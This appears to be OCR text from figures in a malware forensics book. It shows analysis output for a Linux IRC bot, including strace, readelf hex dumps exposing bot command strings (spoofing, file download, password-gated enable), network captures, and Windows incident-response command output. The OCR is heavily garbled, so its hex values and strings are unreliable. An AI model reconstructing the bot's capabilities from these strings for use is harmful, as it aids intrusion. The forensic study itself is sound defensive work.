00000440 bytes {DT_STRSZ}

00000016 bytes (DT_SYMENT)
0x00000000 {DT_DEBUG}
0x0804DLEC {DT_PLTGOT}

00000432 bytes {DT_PLTRELSZ}
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socket (PF_INET, SOCK_DGRAM, IPPROTO_IP) = 4

connect (4, {sa_family=AF_INET, sin_port=htons(s3), sin_addreinet_
addr (*192.168.110.1") 1, 28) = 0

send(4, “0]\1\0\O\1\0\0\0\0\0\O\3vps\<domain name>\3n”..., 39, MSG_NOSIGNAL) = 39
send(4, “01\1\0\0\1\0\0\0\O\0\O\3vps\<domain name>\3n..., 39, MSG_NOSIGNAL) = 39
socket (PF_INET, SOCK_DGRAM, IPPROTO_IP) = 4

connect (4, {sa_family=AF_INET, sin_port=htons(53), sin_addr=ine
addr (*192.168.110.17)}, 28) = 0

send(4, “\3761202\1\0\0\1\0\0\0\0\0\0\3vps\<domain name>\3n"..
MSG_NOSIGNAL) = 51

send(4, “\376\202\1\0\0\1\0\0\0\0\0\0\3vps\<domain name>\3n"..
51, MSG_NOSIGNAL) = 51

socket (PF_INET, SOCK_STREAM, IPPROTO_TCP) = 3
socket (PF_INET, SOCK_DGRAM, IPPROTO_IP) = 4

connect (4, (sa_family=AF_INET, sin_port=htons(53), sin_addreinet_
addr (*192.168.110.1")}, 28) = 0

send(4, “2\330\1\0\0\1\0\0\0\0\0\0\3vps\<domain name>\3n"..., 39,
MSG_NOSIGNAL) = 39
send(4, “2\330\1\0\0\1\0\0\0\0\0\0\3vps\<donain name>\3n”..., 39,

MSG_NOSIGNAL) = 39
socket (PF_INET, SOCK_DGRAM, IPPROTO_IP) = 4

connect (4, {sa_family=AF_INET, sin_port=htons(53), sin_addr=inet_
addr (*192.168.110.1")}, 28) = 0

send(4, “I\"\1\0\O\1\0\0\0\0\O\O\3vps\<domain name>\3n"
send(4, “I\’\1\0\0\1\0\0\0\0\0\0\3vps\<domain name>\3n"

/51, MSG_NOSIGNAL) = 51
51, MSG NOSIGNAL) = 51
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CFF Explorer V - [Video.exe]

= (3 NtHeaders
(3 File Header
= (3 Optional Header
(& Data Directories [x]

(8 Section Headers [x]
(2 Import Directory
(2 Resource Directory.
12D Relocation Directory
12D LS Directory
A, Hex Editor
4, Address Converter
@ Resource Viewer
4, Rebuilder
4, Import Adder
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lab@MalwareLab:~/Malware Repository$ readelf --hex-dump\=5 sysfile

Hex dump of section '.

0x08048638
0%08048648
0x08048658
0x08048665
0%08048678
0x08048688
0x08048698
0x080486a8
0%080486b5
0%080486c8
0x08048648
0x080486e8
0x080486£8
0%0808708
0%08048718
0x08048728
0%08048738
0x08048748
0%08048758
0x08048768
0x08048778
0x0808788
0x08048798
0x080487a8
0%080487b8
0x080487c8
0%080487d8
0x080487e8

70637274
006c7463
6£630076
69707465
70007970
6606061
73007465
65636361
7473006¢
615¢7465
63657374
72747300
00706463
72747300
0060726
72747300
64606172
65670065
62606366
5£00736e
006e6£69
0069674
5£006465
6696160
00726570
72617473
4c470031

aynstr':
73003626
6£690064
63657200
67006068
636d6560
6400666¢
60636573
00626570
60696500
6690064
6573006¢
706d636e
65736163
79706263
66006065
60726£77
73007465
64697400
00656d61
6£746800
7461636¢
61006265
73755¢6e
5£747261
70756£74
5£6e6c6d
20325843

6£732063
69707469
66746069
74610074
00737465
65660065
00706565
6£700074
65746972
60696200
686£746e
72747300
72747300
62006574
7473696
74656058
73646560
64697070
60796274
63747570
6cs£6£6e
706£6600
69647473
74735263
0062656
675£5£00
42494047
0030232

62696200
61770079
72707376
63656e6e
67660064
73686063
6c730063
63656065
77007470
74616372
00726464
74706£6b
7970636¢
64606573
006b6£74
74656069
00707564
74656700
73626874
66006573
7272655¢
74697865
seaga95e
62696058
72747300
65657266
005£5£74
5£434249

.1ibe.so.6.5trcp
y.waitpid.ioctl.
vsprintf.recv.co
nnect.atol.getpi
d.fgets.memcpy.p
close. feof.mallo
c.sleep.socket.s
elect.popen.acce
pt.write.kill.st
reat.bind.inet_a
ddr.ntohl.setsoc
Kept.strnemp. st
nepy. strcasecnp.
sendto.bcopy. str
tok.listen. fork.
inet_network.str
dup.memset . srand
-getppid. time.ge
thostbyname. fclo
se.fputc.htons._
_errno_location.
exit.fopen.atoi.
_10_stdin_used._
T1ibe_start_main
“strlen.toupper.
free._gnon_star
t_.GLIBC_2.1.GL
18C_2.0.
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lab@MalwareLab:~/Desktop$ ltrace ./sysfile
__libc_start_main(0x804b842, 1, Oxbfd2lded, 0x804bddc, 0x804be0c <unfinished
9010

fork()

exit(0 <unfinished

++ exited (status 0)
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(elfsh-0.65) interp

(SHT_INTERP] : /1ib/ld-linux.s0.2
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(Uil = e [

fle Edt View Go Capture Analyze Statistics Help
B e BEBea & + 7 & [EF ¢

|ers [~]] 4 Expression. ”*« crearH apply |

Destination Protocol Info o}
110,130 192.168.110.1 NS Standard query A vps. e s .net
-110.130 162.168.110.1 NS Standard query A vps. e s w.net
-110.1%0 192.168.110.1 NS Standard query A vps. e s < .net
-110.130 192.168.110.1 NS Standard query A vps. e mes e .net
-1101%0 192.168.110.1 D5 Standard query A vps.e we < .net Im
110130 192.168.110.1 ONS  Standard query A vps. e wees = .net
110130 162.168.110.1 NS Standard query A vps. e wew = .net
-110.1%0 192.168.110.1 NS Standard query A vps.e mee < .net
110130 162.168.110.1 NS Standard query A vps. e s = .net
-110.1%0 192.168.110.1 NS Standard query A vps.e wew = .net.localdoms
-110.230 192.168.110.1 NS Standard qUery A vps. e mewe = .net
110130 162.168.110.1 NS Standard query A vps. e s = .net
-110.130 192.168.110.1 NS Standard query A vps.e mews s .net

b Frane 1 (74 bytes on wire, 74 bytes captured) =
b Etharnat T rc: Vmiars 53:aSief (0030 73eaferf) Debe \miara f2s10:cA (AhiSsSAcEn

0000 00 S0 56 fc 16 6 00 Oc 20 23 o8 cf 08 00 4500 .PV..... )#....E.
0010 00 3c 19 8a 40 00 40 06 4b 9d cO a8 6@ B2 cc 03  .<..@.8. K...n...
0020 da 66 d7 af 1a b 30 84 €100 00 G0 00 00 0 02  .f....0. +.essrs
0030 16 do 9c d3 00 00 02 04 05 bd 04 02 08 Oa 00 12 ]

“Fie] PRmplethercOX(GKB7T" 185 Bytes 00:00:18 P:21D: 21 M: 0 Drops: 0
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REPORT _ VIEWCONTENTS  EXPORT CONTENTS,

Pointed to by file:
C/WINOOWS /systen32/FileList exe

File Type:

MS-DOS executable (EXE), 0S/2 or MS Windows
MD5 of content:
8e0C0a45638644 1 e4077acs721c3715

SHA-1 of content:
cashfSSasackassder23e7dd 911228101 decld

Detalls:

MET Entry Header Values:

Entry: 45928 Sequence: 8

$LogFile Sequence Number: 4020985125
Allocated File

Links: 1

$STANDARD_INFORMATION Attribute Values:
Flags: Archive

Owner ID: 0 Security [D: 2838

Created: Wed Jan 23 12:56:38 2008

File Modified: Wed Jan 23 12:56:38 2008

MEFT Modified: Sun Feb 10 15:58:36 2008
Accessed: Sun Feb 10 15:58:15 2008

$FILE_NAME Attribute Values:

Flags: Archive

Name: FileList exe

Parent MFT Entry: 29 Sequence: 1
Allocated Size: 0 Actual Size: 0

Created: Sun Feb 10 15:56:25 2008

File Modified: Sun Feb 10 15:56:25 2008
MFT Modified: Sun Feb 10 15:56:25 2008
Sun Feb 10 1 6:25 2008

Ao NoTE
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IMAGE_NT_HEADERS
Eypedaf struct _IMAGE_NT_HEADERS {
THAGEF

“PIMAGE NT_HEADERS:
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lab@MalwareLab:~/Malware Repository$ readelf
Hex dump of section '.

0x0804b280
0%0804be90
0x0804bead
0x0804beb0
0x0804beco
0%0804bed0
0x0804beed
0%0804be£0
0%0804b£00
0%0804b£10
0x0804b£20
0x0804b£30
0%0804b£40
0%0804b£50
0x0804b£60
0%0804b£70
0%0804b£80
0x0804b£90
0x0804b£a0
0%0804b£b0
0x0804b£c0
0x0804b£d0
0x0804b£e0
0x0804b££0
0%0804000
0%0804c010
0%0804c020
0%0804030
0%0804040
0x0804050
0x0804060
0%0804070
0%0804080
0x0804090
0%0804c0a0
0%08040b0
0x0804c0c0
0%08040d0
0x0804c0e0
0%08040£0
0x0804c100
0x0804c110
0x0804c120
0%0804c130
0x0804¢140
0x0804c150

00000000
00000000
65696c6c
20383132
55322073
2e796¢70
6£772674
20444952
00000000
00000000
3¢205445
0a3e7361
00000000
00000000
6c62616e
60636573
00000000
00000000
6c62616e
64646120
00000000
00000000
6c62616e
206£7420
00000000
00000000
3020312¢
65452032
41247265
20342661
3b55203b
20332436
3a732520
67616d69
782d782¢
70622565
2¢676570
0d2a2£2a
67606964
4c2a7470
63634102
6£736920
0a382d66
52322073
000a2e65
25204543

rodata':
00000000
00000000
61646061
2e332e34
25204543
6d6£6320
6369642¢
45535520
0a732520
00000000
47322073
20657661
00000000
00000000
55322073
20657461
2£2£3a70
00000000
55322073
65766c6¢
00000000
00000000
55322073
7463656
00000000
00000000
50545448
626£6974
73550a0d
6c6c697a
31315828
31203228
3a74736€
2037470
6567616d
67616d69
6a702£65
20206768
61636045
65636341
0466520
3a746573
74752c2a
25204543
60696620
49544£de

00020001
00000000
73697861
30320074
49544840
6£742065
7273752€
3a207325
3a205849
00000000
25204543
733203
00000000
00000000
25204543
65726320
74746800
00000000
25204543
73657220
00000a2e
00000000
25204543
626£6320
00000a2e
00000000
2073252¢
63656068
6576696¢
6£4d203a
205d6e65
32207875
48020429
65636341
69202c66
2027061
67616469
702£6567
24747065
02047069
3a656761
72616843
20312439
4954454e
67606976
000a0d0a

00000003
00000000
20737076
65602e73
00323031
6c62616e
0072000
00736472
1e55203a
00000000
49544€4e
74736568
00000000
00000000
49544€40
6£742065
0a2e7465
00000000
49544£4e
6£742065
73736572
00000000
49544€4e
6£742065
70747468
00000000
20544547
6£430a0d
41247065
74606567
55203537
60694020
36383669
02043038
6967265
6d746962
20266765
6166920
63634108
7a67203a
75676061
24747065
35383824
000a0d0a
69656365
04006277

~hex-dump\=14 sysfile

VPS L KKRKXXHKNAKK
X.net.XKK.X.XKX.
xx . NOTICE %s :U
nable to comply.
..x./usz/dict /wo
USERID
ss.

rds.is
:UNIX :

NOTICE %5
host> <save as>.

NOTICE %5 :Unabl
e to create sock
et...http://
NOTICE #s :Unabl
e to resolve add
ress

NOTICE #s :Unabl
& to connect to
REtp.......
GET/%s HTTR/1.0
..Connection: Ke
ep-Alive..User-A
gent: Mozilla/d.
75 len] (X11; U;
Linux 2.2.16-3
1686) . .Host: st
80..Accept: imag
e/gif, image/x-x
bitmap, image/jp
eg, image/pjpeg,
image/png, */*.
.Accept-Encoding
+ gzip..Accept-L
anguage: en..Acc
ept-Charset: iso
-8859-1, %, ut£-8.
... NOTICE %s
eceiving file...
wb......NOTICE %
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<... fork resumed> )

exit(0 <unfinished

5Ys_exit_group(0 <unfinished

>

+++ exited (status 0) ++
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| Pocess D fomaton | Mapped Evoctaies | Ervicrment S| Mop._| Regetrs| e Desrptors

FioDescrptor
IR
Tcc/msnan
Iec/sisgz
Inec/sinrs
Ioc/sIna
TSNS
T/
Iccrsisnar
e
Ice/sings
Ipcc/sisnny
Tpce/EianaT
Tpee/miSANdNZ
Tpec/BiAAN3
Tec/sisATe
eSS
Tec/sisnae
Tec/misnany
Tpec/SIAIE
Ice/sindns
<

Lok
sockat 82285
ket 822494
socket (822495
scket16327]

sockat16828)

socket [8224%]
socke 922497
socket 822458
socket (922495
socket 32250
socket 822501
soket 322501
socke[SZ255]
socket[822504)
socket 922505
ockan[$22508]
socket 822507
socke (922508
socket (822508
socket[922510)

Tye

TCPVA 182168 11013082037 >
TCPYA 182168 101205055 5
TCPVA 152168 1101303465 >

UDPVA 000027015 » 00000
TCP 12168 T1010%10->
TCPVA 12168 11012046757 >
TEPV4 182 168 11012042028 5
TCPVA 192168 11012043353
TCPYA 12168 11012034103 >
TCPV4 192 168 11012057470 5
TCPYA 122168 1101208125
TCPVA 12168 11012036570 >
TCPV4 192 168 11012031645 5
TCPMA 192168 1012080603 >
TCPVA 192 168 1013047473 >
TCPVA 182168 11012080482 >
TCPA 152168 110130625 >
TCPVA 152 1681101305050 5
TCPA 182 1681101204624 5

“2zmsin
~wzmen
Cwzew

« 2zue0
2706
2 zaeim
“ 2 zEs

223650
« 2zerm
- 2zuEn
~ 2zsm
< 220
S@mna
2z
“ 2zmnn

2z
2z
%2760
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lab@Malwarelab:~/Malware Repository$ readelf --hex-dump\=12 sysfile

Hex dump of section '.text':

0x08048dd4
0x08048ded
0x08048d£4
0x08048e04
0x08048014
0x08048¢24
0x08048e34
0x08048e44
0x08048e54
0x08048064
0x08048074
0x08048e84
0x08048e94
0x08048ea4
0x08048eb4
0x0804Becd

0804be0c
£efedfes
81550000
££0274c0
3d8008ec
285108
08ald2£e
01080443
850804a1
680cecs3
9090¢3c9
28458900
00e87d83
0098964
000000e3
08458b0c

68525450
0804842
0000850
85000000
83¢58955
08044008
0804008
0005c6eb
£8a108ec
1074c085
10c483£7
be0£0845
0b7£2ae8
743£e87d
©9£84589
75££08ec

fexcerpt]

£0ed83e1
68565108
53258955
24838500
9090c3¢9
21297500
2304c083
75428510
83058955
00000000
5718368
8bldecs3
7d832a74
83000000
00be0£0c
83000000

895eed31
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lab@MalwareLab:~/Desktop$ ltrace -5 ./sysfile

SYS_brk (NULL) 08042000
5YS_access (0xb7£49eab, 0, Oxb7E4DEE4, 0, 4) -2
sYs_mmap2 (0, 8192, 3, 34, -1) 0xb7£30000
SYS_access (0xb7£49b5b, 4, Oxb7f4bEf4, Oxb7£49bSb, Oxbificéec) = -2

5YS_open (“/etc/1d.s0.cache”, 0, 00) -3
SYS_fstat6d(3, Oxbfe26580, Oxb7fdbffd, -1, 3) = 0
sYS_mmap2 (0, 59970, 1, 2, 3) = 0xb7£21000
s¥s_close (3) -0
5YS_access (0xb7£49eab, 0, Oxb7£4bEf4, 0, 3) - -2
5YS_open (“/1ib/t1s/1686/cmov/1ibc.s0.6%, 0, 00) = 3
SYS_read (3, “\177ELF\001\001\001", 512) - s12
SYS_fstat6d(3, Oxbfe26608, Oxb7fdbffd, 4, 1) -0
SYS_mmap2 (0, 0x1405a4, S, 2050, 3) = 0xb74e0000
5YS_mmap2 (0xb7£1b000, 12288, 3, 2066, 3) - 0Xb7£16000

SYs_mnap2 (0xb7£1e000, 9636, 3, 50, -1) 0xb7£12000
sv5_close (3) 0

s¥s_mnap2 (0, 4096, 3, 34, -1) = 0xb7ad£000
SYS_set_thread_area (Oxbfe26af8, 0xb7ddf6c0, 243, Oxb7E4bEfd, 0) = 0
S¥S_mprotect (0xb7£16000, 4096, 1, Oxb7£31858, Oxbfe2ebld) = 0

5¥S_munnap (0xb7£21000, 59970) -0
__libe_start_main(0x8046842, 1, Oxbfe26efd, 0x804bddc, 0x804be0c <unfinished .
Saakt Esiihaed o
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E:\WinIR\Network>arp

Interface: 192.168.110.134 o0x2
Internet Address Physical Address Type
192.168.110.1 00-50-56-c0-00-01 dynamic
192.168.110.133 00-0c-29-e4-be-eb dynamic
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Logdad symoals far /LIB/CAE/1000/CHOV/LING. 805
Reading symbols from /1ib/ld-linux.so.2...done.

Loaded symbols for /lib/ld-linux.so.2

Reading synbols from /1ib/t1s/i686/cmov/1ibnss_files.so.2. . .done.
Loaded symbols for /1ib/tls/i686/cmov/libnss files.s0.2

Reading symbols from /1ib/libnss_mdnsd_minimal.so.2...done.
Loaded symbols for /1ib/libnss_mdnsd_minimal.so.2

Reading symbols from /1ib/t1s/i686/cmov/libnss_dns.s0.2. . .done.
Loaded symbols for /1ib/tls/i686/cmov/libnss_dns.50.2

Reading synbols from /1ib/t1s/i686/cmov/1ibresolv.so.2. . .done.
Loaded symbols for /1ib/tls/i686/cmov/libresolv.so.2

Reading symbols from /1ib/libnss_mdnsd.so.2
Loaded symbols for /1ib/libnss_mdnsd.so.2
0x£££fed10 in _ kernel vsyscall ()

done.
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E:\IR>net file

» Path User name

# Locks

2 ADMINISTRATOR
24 ADMINISTRATOR
31 backedup. exe ADMINISTRATOR
The command completed successfully.
5:\IR>mbtstat -c
Local Area Connection:
Node IpAddress: [172.16.108.133] Scope Id: [}
NetBIOS Remote Cache Name Table
Name Type Host Address Life (sec]

SADMAX <20> UNIOUE  172.16.109.128 525
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C:\Documents and Settings\Malware Lab>pedu
settings\Malware Lab\Desktop\Video.exe"

'C:\Documents and

PEDU - PE Entry point Dumper v1.40b - (C) 2003-07 Marco Pontello
Binary type: Wind2 GUI - Target machine: Intel 386

Alignment: Section 1000h - File 200n - Base of code 1000h

Data directories size
1 Import Table 1176
2 Resource Table 12221440
5 Base Reloc. Table 8
9 TLS Table 24
15 Reserved! 1048576

Section V.Offset V.Size R.Offset R.Size

coDE: 1000n  DCO0OR 400h  4F200n
DATA DDO0OR  3000n 4F600n  1600n
BSS E0000h  2000h 50C00h on
.idata E2000n  3000h  50C00h  1200h
.tis ES000n 1000 S1E00h on
.rdata E6000h  1000h 51E00h  200n
.reloc E7000h  FO0Oh  52000h oh
.rsre FGO00h BASOOOR  52000n  91E00h
.aspack  C9EOOR  8000h  E3EQOh  7A00R
.adata  CAGOOOR  1000R 8800h on

Entry Point RVA: C9E001h
Code dump : 60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00

00 00 £B 5D BB ED FF FF FF 03 DD 81 EB 00 EO C9
Comp/Enc/Pack : ASPack 2.12





OEBPS/images/f000086gr95b.jpg
0x0804c160
0x0804c170
0x0804c180
0x0804c190
0x0804c1a0
0x0804c1b0
0x0804c1c0
0x0804c1d0
0x0804c1e0
0x0804c1£0
0x0804c200
0x0804210
0x0804¢220
0x0804c230
0x0804240
0%0804250
0x0804¢260
0x0804270
0x0804c280
0x0804290
0x0804c2a0
0x0804c2b0
0x0804c2c0
0x0804c2d0
0x0804c2e0
0%0804c2£0
0x0804300
0x0804¢310
0x0804¢320
0x0804¢330
0x0804¢340
0x0804¢350
0x0804¢360
0x0804¢370
0x0804¢380
0x0804390
0x0804c3a0
0x0804¢3b0
0x0804c3c0
0x0804c3d0.
0x0804c3e0
0x0804c3£0
0%0804¢400
0x0804c410
0x0804420
0x0804c430

000a7325
00000000
666£6£70
0006425
666£6£70
24206425
4£46000a
20666574
4389544¢
6b63696e
00000000
00000000
20606369
72656772
65746361
4£4e000a
454c4241
65606261
77612064
00000073
65727275
73252032
6c413a20
0aze6465
00000000
00000000
77737361
20362021
00000000
00000000
62617369
4e000a2e
45404241
20454349
6261665
20732520
0a6a726¢
73736150
00000a2e
00000000
T66£6465
00000273
20746168
61207465
203£7461
60696020

20738120
00000000
53322073
2064252
53322073
2064252
64252064
69614b3a
42000275
3c204p43
00000000
00000000
40322073
616c2065
72616863
7325204b
53494432
73694400
62612064
72656472
43322073
73692073
73252045
60626173
00000000
00000000
50322073
676e6£6¢
00000000
00000000
44322073
6c756673
42453220
5444000
20796461
45434954
77737361
3a207325
74636572
00000000
52322073
666£6£70
57322073
60627573
68742073
67626968

64657661
00000000
25204543
64252e64
25204543
64252064
25206425
20732520
6b61726¢
494e3a20
00000000
00000000
25204543
6220746€
20392068
43434000
20732520
0237373
65606261
6£20676e
25204543
75746174
4349544¢
69642079
00000000
00000000
25204543
206£6£74
00000000
00000000
25204543
73656375
73252045
0a37373
65726c41
4£4000a
7020676
20454349
726£6320
00000000
25204543
73206c6c
25204543
20666520
69207373
74656d6£

533a2073
00000000
49544£2e
25203a73
49544£de
25203a73
20642520
45434954
67206177
73252045
00000a3e
00000000
49544£4e
60606163
61687420
02207372
45434954
61703c20
62450064
69746961
49544€4e
73207468
4e000a2e
64616572
00000000
00000000
49544€4e
2064726¢
0a343532
00000000
49544£4e
7320656
13495048
61703¢20
3a207325
2064656
6£72573a
544£4600
64726£77
00000000
49544£4e
61206465
49544£de
6460696b
65726464
73206£44

Saved as is

NOTICE %5 :Spoof
50 td.td.%d.3d..
NOTICE $s :Spoof
s: 3d.%d.%d.3d -
%d.%d.%d. %d. .NO
TICE %s

aiten

wa goraku..NOTIC
E %s :NICK <nick

NOTICE $s :Nick
cannot be larger
than 9 characte
rs...NICK $s..NO
TICE %s :DISABLE
<pass>..Disable
d.Enabled and aw
aiting orders...
NOTICE %s :Curre
nt status is: $s
.NOTICE %s :AL
ready disabled

NOTICE %5 :Passw
ord too long! >
254,

NOTICE 35 :Disab
le sucessful...N
OTICE s :ENABLE
<pass>..NOTICE
%s :Already enab
led...NOTICE %s
sWrong password.
LNOTICE %s :Pass
word correct..

NOTICE %5 :Remov
ed all spoofs...
NOTICE $s :What
kind of subnet a
ddress is that?
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Attaching to process 8646

done.

Reading symbols from /home/lab/Desktop/sysfile
Using host libthread_db library “/lib/tls/i686/cmov/libthread_db.so.1%.

Reading svmbols from /1iBZt1s/1686/cmov/1ibe. 6.6, . dona.
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Event Properties [

Event |

Date  2/27/2007 Souce: Secuity +
Tine  11639FM Categoy: Logon/Logot

Type  FalweAud EventlD: 529

User.  NTAUTHORITYASYSTEM By
Computer SHUTTLE2ECOS 2|

Desciiption:

[Logon Faiue: =
Reason Urknown user name or bad password
User Name: otoor
Domai SHUTTLE2EC0S
LogonType: 3
LogonPiocess.  NiLmSsp
Authenticalion Package:
MICROSOFT_AUTHENTICATION_PACKAGE V1_0

Waorkstation Name: WKSTN-EG285
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R \WinIR\Retwdrk>ipconfly /displaydis

Windows IP Configuration

1.0.0.127.in-addr.arpa

Record Name . . . . . : 1.0.0.127.in-addr.arpa.
Record Type . . . . . t 12

Time To Live . . . . : 598134

bata Length . . . . . : 4

Section . . . . . . . : Answer

PTR Record . . . . . : localhost

o300 00 n-addr . arpa

Record Name . . . . . : 135.xxx.xxx.xxx.in-addr.arpa.
Record Type . . . . . : 12

Time To Live . . . . : 598134

Data Length . . . . . : 4

Section . . . . . .. : Answer

PTR Record . . . . . : louder.xwxxx.com

louder . xxxxx. com

Record Name . . . . . : louder.sxxx.com
Record Type . . . . . : 1

Time To Live . . . . : 598134

Data Length . . . . . : 4

Section . . . . . . . : Answer

A (Host) ReCOTd . . . f XXX.KNK.XXX.XXX
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E:\WinIR\Users>netusers.exe /local

Current users logged on locally at KIM-MRKTG-HSS:

KIM-MRKTG-WS5\Kim

E:\WinIR\Users>netusers.exe /local /history

History of users logged on locally at KIM-MRKTG-WSS Last Logon

KIM-MRKTG-WS5\Kim 2008/03/18

The command completed successfully.
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USERNAME SESSIONNAME ID STATE  IDLE TIME LOGON TIME
>Kim console 0 Active .3/18/2008 8:15 AM
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E:\WinIR\Users>psloggedon
loggedon v1.33 - See who's logged on

Copyright © 2000-2006 Mark Russinovich
sysinternals - www.sysinternals.com  <excerpt>

Users logged on locally:
NT AUTHORITY\NETWORK SERVICE
3/18/2008 9:38:36 AM  KIM-MRKTG-WSS\Kim

Error: could not retrieve logon time

No one is logged on via resource shares.
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RVESIAL cuee:
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lab@MalwareLab:~/Malware Repository$ readelf

Hex dump of section

0x00000000
0x00000010
0%00000020
0x00000030
0%00000040
0%00000050
0%00000060
0%00000070
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00002935
32203228
48206465
35243226

.comment’ :

20295540
28203232
20332078
40472820
32323033
78756069
20324383
33303032
694c2074
43470000
3220322
74614820
00293524
20322033
20646552
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33207875

4728203a :

32303330
756e694c
3a434347
30303220
4c207461

0029

~hex-dump\=23 sysfile
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lab@MalwareLab:~/Malware Repository$ readelf

Hex dump of section '.debug_line':

0x00000000
0%00000010
0%00000020
0%00000030
0x00000040
0%00000050
0%00000060
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0x00000080
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0%00000020
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o1
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752£0073
69266269
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68637700
68206665
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01000a0e
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38336924
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6975622¢
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0902157
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00000001
01000102
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01000000
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00010068
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0000007
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08048261

~hex-dump\=28 sysfile
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James@<victim company:

$ netstat -an

Active Internet connections (servers and established)

Proto  Recv-Q Send-Q  Local Address  Foreign Address  State

top o 0 192.168.10.67:2208  0.0.0.0:% LISTEN

tep o 0 192.168.10.67:631  0.0.0.0:% LISTEN

tep 4 0 192.168.10.67:2207  0.0.0.0:% LISTEN

tep 0 0 192.168.10.67:14589  VPS.XXXKKKXKKXXNXX. ESTABLISHED
s 6667

tep o 0 192.168.10.67:5628  198.xxx.xxx.xxx:80 SYN_SENT

udp 0 0 0.0.0.0:32768 0.0.0.0:%

udp 0 0 0.0.0.0:68 0.0.0.0:%

udp 0 0 0.0.0.0:5353 0.0.0.0:%
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lab@MalwareLab:~/Malware Repository$ readelf

Hex dump of section '.strtab':

0x00000000
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0%00000230
0%00000240
0x00000250
0%00000260
0%00000270
0x00000280

0036560
322¢646¢
444c4955
30303224
36383369
00682067
60246962
622£6372
36383369
33203224
60697562
75736328
2074696¢
6466975
14955422¢
32243228
33692d64
7472632¢
69756228
422£3638
3220332
24646069
642£7573
6320696e
74726174
54435£5¢
524£5444
4152465¢
52434a5¢
7064663
6£6c675¢
72660078
524£5443
4e455£52
5£444e45
5£5£005¢
5£73726¢
69756228
4223638
32203320
24646069

6962064
6975622¢
4223638
32203328
2464669
69666068
61003e6e
732£7273
24333433
6362696¢
26373232
78756069
6900682¢
622£6372
36383369
33203220
60697562
7573632€
6372732¢
33692433
32246362
75622£37
63267875
69667469
735£606¢
00632266
5£5£005€
48455£5¢
5£005£5¢
00302270
6£645£5E
7561573
5£5£0079
4£54445¢
5£454d41
sta44e45
7463586c
63727328
33692433
32246362
75622£37

6e616d6a
6372732¢
33692433
32246362
75622£37
63267875
6924746¢
752£0053
39323228
672£444c
30333030
60243638
67617424
732£7273
24333433
6362696¢
2£373232
78756069
7273752€
34333932
69606728
32323033
6e696c2d
60690068
6d675£6c
66757473
51545349
005£5£54
40494745
005£5£54
00312064
726£7464
6647564
5£005£5€
52465£5¢
5£52434a
6162656
7273752€
34333932
696c672¢
32323033

6£633c00
7273752€
34333932
696c672€
32323033
6e696c2d
6975623¢
2065746
64606975
4955422¢
322d322¢
33692464
6962612¢
752£0063
3932322¢
6728484
30333030
60243638
00532e69
322¢646c
44404955
30303224
36383369
20736665
6c616300
74726300
4c5£524€
53494c5€
425£454d
53494c5¢
6574656¢
5£6c6162
5£656d61
4440455¢€
005£5£44
5£5£005¢
67556564
00787561
322¢€646¢
4444955
3030322d

~hex-dump\=33 sysfile

.<command 1ine>.
/ust/src/build/2
29343-1386/BUILD
/glibe-2.3.2-200
30227/build-1386
~linux/config.h.
<built-in>.abi-n
ote.s. /usz/sre/b
1i1d/229343-1386
/BUILD/glibc-2.3
+2-20030227/buil
-1386-1inux/csu
/abi-tag.h.init.
c./usr/sre/build
/229343-1386/BUT
LD/glibc-2.3.2-2
0030227/build-i3
86-1inux/csu/crt
1.5./usz/sre/bui
14/229343-1386/B
UILD/glibe-2.3.2
-20030227/build-
1386-1inux/csu/d
efs.h.initfini.c
.call_gnon_start
.crtstuff.c._CT

OR_LIST__,_DTOR
_LIST_._ER_FRA
ME_BEGIN__.__JCR
_LIST__.p.0.comp

Teted.1._do_glo
bal_dtors_aux.fr
ame_dummy.__CTOR
_END__._DTOR_EN
D__.__FRAME_END_

__JCREND__.__
do_global_ctors_
aux. /usr/src/bui
14/229343-1386/8
UILD/glibc-2.3.2
-20030227/build-






OEBPS/images/f000049gr11.jpg
2/20/2004,1:09:11 aM,1,0,5,Norton
Antivirus,N/A, CONTROL, Virus Found!Virus
name: BO2K.Trojan Variant in File:
C:\WINNT\Java\w.exe by: Scheduled scan.
Action: Clean failed : Quarantine succeeded
Virus Found!Virus name: BO2K.Trojan Variant in
File: C:\WINNT\system32\wlogin.exe by:
Scheduled scan. Action: Clean failed
Quarantine failed

2/20/2004,1:09:11 AM,4,0,2,Norton
AntiVirus,N/A, CONTROL, Scan Complete:
Viruses:2  Infected:2  Scanned:62093
Files/Folders/Drives Omitted:89
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lab@MalwareLab:~/Malware Repository$ md5sum sysfile

282075c83e209214736252a196007a54  sysfile
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1ab@MalwareLab: ~/Malware Repository$ objdump -p sysfile

sysfile:

file format el£32-1386

Program Header:

PHDR

vTERR

LoAD

L0AD

DYNAMIC

NOTE

off
filesz
off
filesz
off
filesz
off
filesz
off
filesz
off

0x00000034
0%000000c0
0x000000£4
0x00000013
0x00000000
0x00004£38
0%00005000
0x000002e4
0x00005120
0x000000c8

vadax
Vadr
Vader
Vadar
Vadar
el

0x08048034
0x000000c0
0x080480£4
0%00000013
0x08048000
0x00004£38
0x0804d000
0%00000970
0x0804d120
0x000000c8

paddr
flags
paddr
flags
paddr
flags
paddr
flags
paddr
flags

0x08048034 align 2¢+2
Gx080480%4 align 2°%0
008048000 align 2++12
0208044000 align 2+12
Gx0804d120 align 2¢°2

0x00000108 vaddr 0x08048108 paddr 0x08048108 align 2%*2
filesz 0x00000020 memsz 0x00000020 flags r--

Dynamic Section:

NEEDED
NIT
FINI
HASH
STRTAB
SYMTAB
STRSZ
SYMENT
DEBUG
PLTGOT

PLTRELSZ

PLTREL
JWPREL
REL
RELSZ
RELENT

VERNEED
VERNEEDNUM

VERSYM

libc.so.6
0x8048adc
0x804be64
0x8048128
0x8048638
0x80482a8
0x1b8
0x10

0x0
0x804d1fc
0x1b0
0x11
0x804889¢
0x8048894
0x8

0x8
0x8048864
ox1
0x80487£0

Version References:
required from libc.so.6:
0x0d696911 0%00 03 GLIBC_2.1
0x0d696910 0x00 02 GLIBC 2.0
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lab@MalwareLab:~/Desktop/Malware Lab$ 1s -al sysfile

- 1 lab lab 34203 2006-02-19 10:15 sysfile
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lab@MalwarelLab:~/Malware Repository$ objdump -a sysfile

file format el£32-1386

lab@MaluareLab:~/Maluare Repository$ objdump -f sysfile

systile: file format el£32-i386
architecture: i386, flags 0x00000112:
EXEC_P, HAS_SYMS, D_PAGED
start address 0x08048ddd





OEBPS/images/f000013gr13.jpg
E:\WinIR>promiscdetect.exe

PromiscDetect 1.0 - (c) 2002, Arne Vidstrom (arne.vidstrom@ntsecurity.nu)
- http://ntsecurity.nu/toolbox/promiscdetect/

Adapter name:

